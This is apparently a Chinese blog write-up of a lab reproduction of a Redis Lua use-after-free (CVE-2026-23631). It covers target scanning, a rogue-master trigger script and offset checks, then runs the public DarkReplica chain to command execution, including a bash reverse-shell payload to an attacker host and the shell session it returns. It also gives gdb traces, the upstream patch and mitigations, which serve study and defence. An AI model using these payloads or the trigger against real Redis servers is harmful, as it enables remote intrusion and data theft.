4647 字
23 分钟
Redis Lua 脚本释放后使用到代码执行(CVE-2026-23631)复现

漏洞基础信息#

项目内容
漏洞编号CVE-2026-23631
漏洞类型释放后使用(CWE-416)
影响组件带 Lua 脚本支持的 redis-server
影响版本带 Lua 脚本支持的全部版本;仍在维护的分支在 6.2.22、7.2.14、7.4.9、8.2.6、8.4.3、8.6.3 修复,7.0 分支已停止维护
修复版本6.2.22、7.2.14、7.4.9、8.2.6、8.4.3、8.6.3
利用前提已认证且能执行 Lua;副本的 replica-read-only 处于关闭或可被关闭的状态
公开利用有,DarkReplica(yoyosh/DarkReplica)

问题出在复制与脚本引擎的交界处。副本上执行一个不会返回的 Lua 函数,5 秒后判定超时,服务器会在钩子里让出一次控制权,转去处理其他连接;若主节点在这时发起全量同步,正在执行脚本的引擎会被释放,脚本却继续运行,使用的是已经交还给分配器的内存。

两个口径的差异集中在前置条件上。OpenCloudOS 按 CVSS:3.1/AV/AC/PR/UI/S/C/I/A 折算为 9.0,OpenCVE 记录为 6.1,EPSS 3%,未列入 CISA KEV。利用需要能执行 Lua 的凭据,且目标为允许写入的副本,按此门槛计为 6.1;按取得入口之后的影响计为 9.0。

漏洞复现#

环境搭建#

靶机为 Kali Rolling,内核 6.17.10+kali-amd64。8.6.2 位于受影响区间,8.6.6 已修复,两台容器分别使用 6379 与 6390 端口。6379 是 Redis 的默认端口,-p 把容器内的端口映射到主机,后面的探测才能直接从外部连上。

Terminal window
┌──(kali㉿kali)-[~]
└─$ sudo docker run -d --name rds23631 -p 6379:6379 redis:8.6.2 # 受影响版本
└─$ sudo docker exec rds23631 redis-server --version
Redis server v=8.6.2 sha=00000000:1 malloc=jemalloc-5.3.0 bits=64 build=8e613b3f8d9e9a40

攻击机为另一台 Kali。公开利用链所需的 Python 依赖安装在虚拟环境中,不改动系统包。

Terminal window
┌──(kali㉿kali)-[~]
└─$ python3 -m venv /tmp/drvenv
└─$ /tmp/drvenv/bin/pip install "redis~=7.0.1" "json5~=0.12.1" "pydantic~=2.12.5" "rich~=14.2.0"
└─$ /tmp/drvenv/bin/python -c "import redis, json5, pydantic, rich; print(redis.__version__, pydantic.VERSION)" # 确认依赖可用
7.0.1 2.12.5

目标探测#

攻击开始时只知道靶机地址 192.168.31.148。nmap 默认只扫描一千个常见端口,这里指定全端口,避免漏掉跑在非默认端口上的服务。

Terminal window
┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 5000 -T4 192.168.31.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-08 04:09 -0500
Nmap scan report for 192.168.31.148
Host is up (0.00068s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
6379/tcp open redis
MAC Address: 00:0C:29:B3:23:74 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.11 seconds

只有 SSH 与 Redis 两个端口开放。对 6379 做版本识别。

Terminal window
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 6379 --version-light 192.168.31.148
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 8.6.2
MAC Address: 00:0C:29:B3:23:74 (VMware)

-sV 会主动发送探测包判断服务类型,结果里的 8.6.2 是服务端自己报出的版本号。接下来确认三件事:是否需要口令,能否执行 Lua,副本的只读开关能否修改。

Terminal window
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 192.168.31.148 ping
PONG
└─$ redis-cli -h 192.168.31.148 config get requirepass # 口令为空即无认证
requirepass
└─$ redis-cli -h 192.168.31.148 acl whoami
default
└─$ redis-cli -h 192.168.31.148 config get replica-read-only
replica-read-only
yes
└─$ redis-cli -h 192.168.31.148 config get busy-reply-threshold # 脚本超时阈值,单位毫秒
busy-reply-threshold
5000

requirepass 是访问口令,为空表示任何人都可以连接。ACL 是 Redis 6.0 引入的权限系统,whoami 返回 default 说明当前使用默认用户,拥有全部权限。replica-read-only 决定副本是否接受写命令,默认值为 yes,但 ACL 未限制 CONFIG SET,关闭它只需一条命令。busy-reply-threshold 为 5000 毫秒,脚本超过该时间即判定超时,也是钩子介入的时点。

Terminal window
┌──(kali㉿kali)-[~]
└─$ printf "PING\r\nINFO server\r\n" | nc 192.168.31.148 6379 | head -18
+PONG
$623
# Server
redis_version:8.6.2
redis_git_sha1:00000000
redis_git_dirty:1
redis_build_id:8e613b3f8d9e9a40
redis_mode:standalone
os:Linux 6.17.10+kali-amd64 x86_64
arch_bits:64
monotonic_clock:POSIX clock_gettime
multiplexing_api:epoll
atomicvar_api:c11-builtin
gcc_version:14.2.0
process_id:1
process_supervised:no
run_id:a998b704535ee27b74b16004f0b3c93111a3728b
tcp_port:6379

条件已经齐备:可执行 Lua,可建立主从关系,只读开关可关闭。

漏洞验证#

脚本在攻击机上运行,既要在本机启动一个假主节点,也要向目标发送三条命令。假主节点只需按 Redis 的复制协议完成握手:回应 PING、回应 REPLCONF,收到 PSYNC 后返回 FULLRESYNC 与一个 RDB。三条命令各自的作用:FUNCTION LOAD 把一段 Lua 代码注册成具名函数,FCALL 按名字调用它,SLAVEOF 让目标反过来连向指定地址,把它当作主节点。副本默认只读,因此还要关闭 slave-read-only,FCALL 才能执行。

Redis 的主从同步由副本主动发起:连上主节点后先发 PING,再发 REPLCONF 报告监听端口与能力,然后发 PSYNC 请求同步。主节点回 +FULLRESYNC 并附带一个 RDB 文件,副本收到后整体替换本地数据。假主节点按这个顺序回应,就能让目标把攻击者控制的机器当成主节点。

三条命令置于同一事务,否则 FCALL 开始阻塞后,排在后面的 SLAVEOF 与 CONFIG SET 会直接收到 BUSY。完整脚本见附录。

Terminal window
┌──(kali㉿kali)-[~]
└─$ python3 /tmp/crash2.py 192.168.31.148 6379 8480 192.168.31.152 "local t=os.clock() while os.clock()-t<10 do end return 1"
[*] ping: True
[*] loaded: local t=os.clock() while os.clock()-t<10 do end return 1
[*] raised after 14.43s: ConnectionError('Error 111 connecting to 192.168.31.148:6379. Connection refused.')
[*] elapsed 14.43s

脚本中的循环用 os.clock 计时 10 秒,这个数值来自实测。最初写成 for i=1,300000000 do s=s+i end,实测 1.24 秒即结束,早于 5 秒的超时阈值,同步尚未到达脚本就已返回,钩子没有机会介入。脚本必须活过 5 秒,钩子才会进入事件循环。

在 8.6.2 上,这次运行的结果是进程消失,客户端在 14.43 秒收到连接被拒。Redis 日志中,假主节点发起的全量同步在 00:15:40.703 到达,48 毫秒后同步完成。

1:S 08 Nov 2026 00:15:40.703 * Full resync from master: 0000000000000000000000000000000000000000:1
1:S 08 Nov 2026 00:15:40.749 * MASTER <-> REPLICA sync: receiving 18 bytes from master to disk
1:S 08 Nov 2026 00:15:40.751 * MASTER <-> REPLICA sync: Flushing old data
1:S 08 Nov 2026 00:15:40.751 * MASTER <-> REPLICA sync: Finished with success

同一份脚本用于 8.6.6 时,函数返回 1,服务继续运行。

Terminal window
┌──(kali㉿kali)-[~]
└─$ python3 /tmp/crash2.py 192.168.31.148 6390 8481 192.168.31.152 "local t=os.clock() while os.clock()-t<10 do end return 1" # 6390 是 8.6.6
[*] ping: True
[*] loaded: local t=os.clock() while os.clock()-t<10 do end return 1
[*] pipeline: [True, True, 1]
[*] elapsed 9.99s
1:S 08 Nov 2026 00:21:07.794 * Full resync from master: 0000000000000000000000000000000000000000:1
1:S 08 Nov 2026 00:21:11.807 * MASTER <-> REPLICA sync: Finished with success

8.6.2 处理同步用 48 毫秒,8.6.6 延后到脚本结束。差别来自补丁增加的一行判断。这 48 毫秒内释放了什么,下一节用断点说明。

漏洞利用#

来源与可利用的窗口#

触发脚本由本文编写,假主节点复用了公开仓库中的协议实现。RESP 是 Redis 的通信协议,主从同步的握手也以它编码。取得命令执行的链条是公开成果:DarkReplica,由 Yoni Sherez 在 ZeroDay.Cloud 2025 比赛上提交。本文完成的工作是核对偏移、确认其在 8.6.2 上可用,并将 payload 换成写文件与反弹 shell。payload 指发给目标执行的那条命令字符串。

RDB 是 Redis 的持久化文件格式,按记录存放键值、过期时间与函数库。副本加载 RDB 时,遇到函数库记录会立刻把其中的 Lua 代码注册进去,这一步不需要额外命令。

可利用的部分不在崩溃本身。全量同步期间,RDB 中的 RDB_OPCODE_FUNCTION2 记录会被立即执行,其中的 Lua 代码由攻击者提供。代码运行时,堆上仍保留刚被释放的 lua_State,以及同一批归还的缓冲区。

链条的四段#

第一段在脚本引擎中准备后续所需的对象。tostring() 对非字符串值返回指针,可用于泄漏对象地址;把一个同尺寸对象释放后再分配成字符串,即可将内容写入已知地址;伪造的 Table、栈与 lua_State 也在此按尺寸布置。脚本引擎是独立实例,不受这次释放影响。

第二段把这些地址写入 RDB 的 FUNCTION2 记录,随全量同步送入目标。RDB 中的 Lua 代码在加载时执行,通过字符串分配做堆喷:连续申请大量同尺寸对象,让刚被释放的位置大概率被其中一块覆盖,从而把 lua_State 与字节码缓冲区换成构造好的内容。

第三段等待被释放的函数继续执行。它读取的是伪造的栈,第一条指令为 CALL,控制权转交给一个干净的协程,伪造的 Table 作为参数传入。协程是 Lua 中可以暂停与恢复的执行单元,每个协程有自己的 lua_State,因此这一步等于把后续执行搬回一个没有被释放的环境。此后 Lua 代码运行在完好环境中,两个假 Table 即可构成任意地址读写。

第四段把读写转成执行。读取 os.clock 在 redis-server 中的地址得到基址,再从 umask@got.plt 读出 libc 的 umask,减去偏移得到 libc 基址,加上 system 的偏移。新建协程,把 l_G->frealloc 改为 system,l_G->ud 指向命令字符串,下一次分配即调用 system。

偏移核对#

redis-server 以 PIE 方式编译,每次启动的加载地址随机,符号在文件内的偏移固定,运行时地址等于基址加上偏移。umask@got.plt 是动态链接的重定位表项,里面存着 libc 中 umask 的运行时地址,读它等于泄漏一个 libc 地址。

公开仓库给出的偏移按官方镜像计算,本地仍需核对。取来容器中的两个 ELF,用 readelf 检查。

Terminal window
┌──(kali㉿kali)-[~]
└─$ sudo docker cp rds23631:/usr/local/bin/redis-server /tmp/redis-server
└─$ sudo docker cp rds23631:/lib/x86_64-linux-gnu/libc.so.6 /tmp/libc.so.6
└─$ readelf -s /tmp/redis-server | grep -P "\sos_clock(?:\s@|$)"
1817: 00000000002b7a70 41 FUNC LOCAL DEFAULT 14 os_clock
└─$ readelf -r /tmp/redis-server | grep -P "\sumask(?:\s@|$)"
00000040f7a0 00ff00000007 R_X86_64_JUMP_SLO 0000000000000000 umask@GLIBC_2.2.5 + 0
└─$ readelf -s /tmp/libc.so.6 | grep -P "\s(system|umask)@@"
1053: 0000000000053110 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
1577: 0000000000104820 8 FUNC WEAK DEFAULT 15 umask@@GLIBC_2.2.5

四个数值与仓库中 docker_8.6.2.json5 的记录一致:

redis-server os_clock 0x2b7a70
redis-server umask@got.plt 0x40f7a0
libc umask 0x104820
libc system 0x53110

命令执行#

先确认命令能否执行,payload 写入一个文件。

Terminal window
┌──(kali㉿kali)-[~]
└─$ cd /tmp/DarkReplica-master
└─$ /tmp/drvenv/bin/python -m dark_replica --host 192.168.31.148 --port 6379 \
--master-host 0.0.0.0 --master-port 8474 --master-external-host 192.168.31.152 \
--offsets offsets/docker_8.6.2.json5 "id > /tmp/pwned23631"

第一阶段打印的分配地址有十几行,此处只保留结尾。

Sent RDB (2013 bytes)
[19:24:41] INFO [dark_replica] The server exited (as expected) / crashed
The command might have been executed!
Done
Terminal window
┌──(kali㉿kali)-[~]
└─$ sudo cat /tmp/pwned23631
uid=999(redis) gid=999(redis) groups=999(redis)

命令以 redis 用户身份运行。将 payload 换成 timeout 25 bash -c 'bash -i >& /dev/tcp/192.168.31.152/4444 0>&1' 后,监听端收到连接。回连地址为实验网段内攻击机地址,端口 4444 仅用于本次实验,取到结果即关闭监听。

Terminal window
┌──(kali㉿kali)-[~]
└─$ nc -l -p 4444 -v
listening on [any] 4444 ...
192.168.31.148: inverse host lookup failed: Unknown host
connect to [192.168.31.152] from (UNKNOWN) [192.168.31.148] 59302
bash: cannot set terminal process group (32): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
redis@ec40779cc79b:/data$ id
uid=999(redis) gid=999(redis) groups=999(redis)
redis@ec40779cc79b:/data$ hostname; head -2 /etc/os-release
ec40779cc79b
PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
NAME="Debian GNU/Linux"
redis@ec40779cc79b:/data$ ls /data | head -3
dump.rdb
redis@ec40779cc79b:/data$ exit
exit

靶机 /tmp 下留有两个文件,一个是 id 的输出,一个是 shell 的重定向结果,随容器一并删除。靶机上未安装任何工具,脚本均通过已建立的连接送入。

漏洞核心原理#

两个引擎与超时钩子#

Redis 是内存数据库,客户端通过 TCP 连接发送命令。它内置 Lua 解释器,允许把脚本放到服务端执行,脚本执行期间不会被其他命令打断。lua_State 是 Lua 为一份运行环境维护的结构,保存栈、调用栈与全局状态指针,脚本的每一次读写都经过它。

Redis 有两个 Lua 引擎。脚本引擎供 EVAL 与 EVALSHA 使用,脚本执行完毕即释放。函数引擎供 FUNCTION LOAD 与 FCALL 使用,函数会写入 RDB,随复制传播。两个引擎各有自己的 lua_State 与分配器上下文,这次被释放的是函数引擎。

Redis 为单线程,一个死循环脚本会阻塞服务器。为了仍能响应 FUNCTION KILL,执行脚本前会安装一个计数钩子。

lua_sethook(lua, luaMaskCountHook, LUA_MASKCOUNT, 100000);

每 10 万条字节码触发一次。钩子检查脚本是否超时,默认阈值为 5000 毫秒;超时后不直接中断,而是调用 processEventsWhileBlocked 运行一轮事件循环,使服务器仍能处理其他连接。

int scriptInterrupt(scriptRunCtx *run_ctx) {
if (run_ctx->flags & SCRIPT_TIMEDOUT) {
processEventsWhileBlocked();
return (run_ctx->flags & SCRIPT_KILLED) ? SCRIPT_KILL : SCRIPT_CONTINUE;
}
// ...
}

这一事件循环不区分连接来源。普通客户端的请求会被处理,主节点发来的复制流同样如此。全量同步进入时没有检查当前是否有脚本在执行:加载 RDB 之前需要清空数据,清空会调用 functionsLibCtxClearCurrent。

void functionsLibCtxClearCurrent(int async) {
if (async) {
functionsLibCtx *old_l_ctx = curr_functions_lib_ctx;
dict *old_engines = engines;
freeFunctionsAsync(old_l_ctx, old_engines);
} else {
functionsLibCtxFree(curr_functions_lib_ctx);
dictRelease(engines);
}
functionsInit();
}

dictRelease 释放引擎字典,析构回调 engineDispose 调用 luaEngineFreeCtx,最后由 lua_close 关闭 lua_State。正常情况下这一步不会涉及正在使用的状态,而这一次涉及的正是执行脚本的那一个。

释放完成后流程原路返回:emptyData 返回,RDB 继续加载,readSyncBulkPayload 返回,事件循环返回,钩子返回,脚本继续执行。此后每一条字节码都作用在已释放的内存上。

释放发生在哪一行#

gdb 是 Linux 上的调试器,attach 到运行中的进程后可以下断点,程序执行到断点即暂停,此时能打印调用栈。x86-64 下函数调用的第一个参数放在 rdi 寄存器,因此没有调试信息时从 rdi 取值。

要证明释放确实发生,把断点打在 lua_close 上。

set pagination off
file /tmp/redis-server
attach 6456
break lua_close
commands
silent
printf "\n[BKPT-lua_close] lua_State=%p\n", $rdi
bt 22
continue
end
continue

jemalloc 是 Redis 默认的内存分配器,释放的块会被缓存,下一次申请同尺寸时优先复用,因此同一地址会反复出现。

同一次运行中断了两次,地址相同,均为 0x7f371e456000。第一次来自事务开始前的 FUNCTION FLUSH,属于正常清理:清理完成后立即重建引擎,jemalloc 把同一块内存再次分配给新的 lua_State。

[BKPT-lua_close] lua_State=0x7f371e456000
#0 0x00005632ccda0cf0 in lua_close ()
#1 0x00005632ccd4fd8e in luaEngineFreeCtx (engine_ctx=0x7f371ec59478) at /usr/src/redis/src/function_lua.c:203
#2 0x00005632ccd55997 in engineDispose (d=<optimized out>, obj=0x7f371ec6b260) at /usr/src/redis/src/functions.c:162
#3 0x00005632ccd854cf in _dictClear.constprop.1.isra.0 (d=d@entry=0x7f371ec0a178, callback=callback@entry=0x0, htidx=0) at /usr/src/redis/src/dict.c:722
#4 0x00005632ccb8cd7e in dictRelease (d=0x7f371ec0a178) at /usr/src/redis/src/dict.c:750
#5 0x00005632ccd58221 in functionsLibCtxClearCurrent (async=<optimized out>) at /usr/src/redis/src/functions.c:190
#6 0x00005632ccd5993d in functionFlushCommand (c=0x7f371ed88c00) at /usr/src/redis/src/functions.c:827
#7 0x00005632ccbaf5df in call (c=c@entry=0x7f371ed88c00, flags=flags@entry=3) at /usr/src/redis/src/server.c:3896
#8 0x00005632ccbb261d in processCommand (c=0x7f371ed88c00) at /usr/src/redis/src/server.c:4673

第二次的调用链完全不同,从钩子进入事件循环,再从同步流进入 RDB 加载。

[BKPT-lua_close] lua_State=0x7f371e456000
#0 0x00005632ccda0cf0 in lua_close ()
#1 0x00005632ccd4fd8e in luaEngineFreeCtx (engine_ctx=0x7f371ec59478) at /usr/src/redis/src/function_lua.c:203
#2 0x00005632ccd55997 in engineDispose (d=<optimized out>, obj=0x7f371ec6b278) at /usr/src/redis/src/functions.c:162
#3 0x00005632ccd854cf in _dictClear.constprop.1.isra.0 (d=d@entry=0x7f371ec0a178, callback=callback@entry=0x0, htidx=0) at /usr/src/redis/src/dict.c:722
#4 0x00005632ccb8cd7e in dictRelease (d=0x7f371ec0a178) at /usr/src/redis/src/dict.c:750
#5 0x00005632ccd58221 in functionsLibCtxClearCurrent (async=<optimized out>) at /usr/src/redis/src/functions.c:190
#6 0x00005632ccd802f1 in emptyData.constprop.0 (flags=<optimized out>, callback=<optimized out>, dbnum=-1) at /usr/src/redis/src/db.c:1054
#7 0x00005632ccc1bf99 in rdbLoadWithEmptyFunc (filename=<optimized out>, rsi=<optimized out>, rdbflags=2, emptyDbFunc=0x5632ccbfc570 <rdbLoadEmptyDbFunc>) at /usr/src/redis/src/rdb.c:4105
#8 0x00005632ccc0271c in readSyncBulkPayload (conn=0x7f371ec2fb50) at /usr/src/redis/src/replication.c:2579
#9 0x00005632ccd424fa in callHandler (conn=0x7f371ec2fb50, handler=<optimized out>) at /usr/src/redis/src/connhelpers.h:59
#10 0x00005632ccb8e042 in aeProcessEvents (flags=<optimized out>, eventLoop=0x7f371ec33070) at /usr/src/redis/src/ae.c:435
#11 0x00005632ccbe512f in aeProcessEvents (flags=29, eventLoop=<optimized out>) at /usr/src/redis/src/ae.c:360
#12 processEventsWhileBlocked () at /usr/src/redis/src/networking.c:5444
#13 0x00005632ccd540ed in scriptInterrupt (run_ctx=0x7ffedae9be60) at /usr/src/redis/src/script.c:145
#14 0x00005632ccd54205 in luaMaskCountHook (lua=0x7f371e456000, ar=<optimized out>) at /usr/src/redis/src/script_lua.c:1601
#15 0x00005632ccd9a145 in luaD_callhook ()
#16 0x00005632ccda4a69 in luaV_execute ()

第 14 帧的钩子参数为 0x7f371e456000,第 1 帧释放的 lua_State 也是这个地址。钩子就在这个状态上运行,它调用的 processEventsWhileBlocked 处理了主节点发来的 RDB,RDB 加载前的 emptyData 将其释放。钩子返回后,脚本仍在执行,栈指针、字节码与常量表都指向已被回收的内存。

进程最终退出码为 1,日志中没有崩溃报告。另一次运行的 gdb 显示了原因:脚本抛出 Lua 错误,错误处理需要跳转 errorJmp,而 lua_State 已被释放,跳转目标不可用,最终走到 exit(1)。

/lib/x86_64-linux-gnu/libc.so.6
[BKPT-exit] status=1
#1 0x000055b4773dec51 in luaD_throw ()
#2 0x000055b4773de8cb in luaG_runerror ()
#3 0x000055b4773deab5 in luaG_ordererror ()
#4 0x000055b4773e95fd in luaV_execute ()
#5 0x000055b4773dfb15 in luaD_call ()

全量同步只能由攻击者控制的主节点发起,这也是利用前提中写明副本与只读的原因:只有副本会接受主节点的复制流,只有关闭 replica-read-only 才能在副本上执行 FCALL。

修复方案#

上游的修复在 readSyncBulkPayload 入口增加了一行判断。

void readSyncBulkPayload(connection *conn) {
/* During full sync, the functions engine is freed right before loading
* the RDB. To avoid this happening while a function is still running,
* delay full sync processing until it finishes. */
if (isInsideYieldingLongCommand()) return;
char buf[PROTO_IOBUF_LEN];
// ...
}

当处于可让出的事件处理中时(典型情形是超时脚本的钩子),这一轮不处理同步数据,等脚本结束、下一轮事件循环再处理。数据保留在连接缓冲区中,不会丢失。漏洞验证中的对照印证了这一点:8.6.6 上同步在脚本结束之后才完成。

无法升级时有三条缓解措施,都属于缩小攻击面,而非修复内存问题:

  • 关闭 Lua 执行能力。用 ACL 或 rename-command 去掉 EVAL、EVALSHA、FCALL、FCALL_RO,函数引擎没有入口,这个漏洞也就无从触发。
  • 副本强制只读。replica-read-only 保持 yes,并且不要在 ACL 里给 CONFIG SET 权限,否则攻击者可以自己关掉。
  • 不要给不可信来源配置副本。SLAVEOF 与 REPLICAOF 本身就是高危命令,能被普通用户调用等于把复制流交给对方。

Redis 默认不设口令、依靠网络隔离的做法在这个漏洞上代价很高:整条链的起点只是一次未授权的 CONFIG SET。

附录:最小触发脚本#

#!/usr/bin/env python3
"""CVE-2026-23631: timed-out Lua function + fullsync while it runs."""
import sys, threading, time
import redis
from dark_replica.master_server import Server
TARGET, PORT, LPORT, LHOST = sys.argv[1], int(sys.argv[2]), int(sys.argv[3]), sys.argv[4]
BODY = sys.argv[5]
# 最小合法 RDB:头部 + EOF + 全零校验和
EMPTY_RDB = b"REDIS0012" + b"\xff" + (0).to_bytes(8, "little")
srv = Server("0.0.0.0", LPORT, rdb_payload=EMPTY_RDB)
threading.Thread(target=srv.run, daemon=True).start()
time.sleep(0.5)
r = redis.Redis(host=TARGET, port=PORT, socket_timeout=60)
print("[*] ping:", r.ping(), flush=True)
r.function_flush(mode="SYNC")
code = '#!lua name=hoax\nredis.register_function("scam", function() ' + BODY + ' end)'
r.function_load(code=code, replace=True)
print("[*] loaded:", BODY, flush=True)
p = r.pipeline(transaction=True)
p.slaveof(LHOST, LPORT)
p.config_set("slave-read-only", "no")
p.fcall("scam", 0)
t0 = time.time()
try:
print("[*] pipeline:", p.execute(False), flush=True)
except Exception as e:
print("[*] raised after %.2fs: %r" % (time.time() - t0, e), flush=True)

假主节点部分复用了公开仓库中的 RESP 服务实现,运行前需把仓库目录加入 PYTHONPATH。

三条命令必须在同一事务中下发。分开下发时,FCALL 一旦开始阻塞,排在后面的 SLAVEOF 与 CONFIG SET 会收到 BUSY,实测将 SLAVEOF 单独重发时返回的是 BUSY Redis is busy running a script. You can only call FUNCTION KILL or SHUTDOWN NOSAVE.。事务保证三条命令在脚本开始执行前全部入队。

假主节点只负责握手与投递:回应 PING、回应 REPLCONF,收到 PSYNC 后返回 FULLRESYNC,然后按批量字符串格式发送 RDB。触发使用 18 字节的空 RDB 即可,需要 RDB 内容的是利用阶段。

参考链接#

Redis Lua 脚本释放后使用到代码执行(CVE-2026-23631)复现
https://blog.mal-suen.cn/posts/2026/11/226/
作者
Malcolm
发布于
2026-11-08
许可协议
CC BY-NC-SA 4.0